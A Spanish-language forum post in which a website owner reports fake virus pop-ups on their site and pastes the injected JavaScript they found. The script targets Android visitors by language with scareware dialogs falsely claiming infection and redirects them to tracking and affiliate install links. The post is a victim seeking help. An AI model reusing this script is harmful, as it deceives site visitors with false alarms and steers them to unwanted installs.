Buenas, hace unos días me he encontrado con que mi web lanza un mensaje de virus de vez en cuando, al no encontrar ninguno me puse a investigar y descubrí las siguientes lineas de código usando la herramienta de firefox developers.
Estas lineas vienen del siguiente enlace "ht tp s:/ / d 6 vs15m0nt7ly.c l oudfront.net/ test.js"
Llevo días peleandome con esto y no encuentro nada ni googleando, ni la empresa de hosting me da solución, y la verdad no encuentro la fuente de este código para conseguir borrarla.
var ua = navigator.userAgent.toLowerCase();
var isAndroid = ua.indexOf("android") > -1;
var userLang = navigator.language || navigator.userLanguage;
userLang = userLang.toLowerCase();
var isBrazil = userLang.indexOf("pt-br") > -1;
var isRussia = userLang.indexOf("ru") > -1;
if(isAndroid) {
if (isRussia) {
if (confirm("Это устройство заражено. Необходимо установить антивирус")) {
window.top.location.href='
http://c.cpl1.ru/8UcC'; // LEO Privacy Guard Ru
}
} else if (isBrazil) {
if (confirm("Este aparelho está infectado. É necessário fazer uma varredura com antivírus.")) {
window.top.location.href='
http://mytrackinglive.net/trkclk/?pid=357&cid=27615'; }
} else {
if (confirm("This device is infected. You must check it for viruses with antivirus.")) {
window.top.location.href='
http://c.cpl1.ru/8UcB'; // Hola Launcher
}
}
}
Muchas gracias si alguien puede ayudarme!.
Mostrar Mensajes
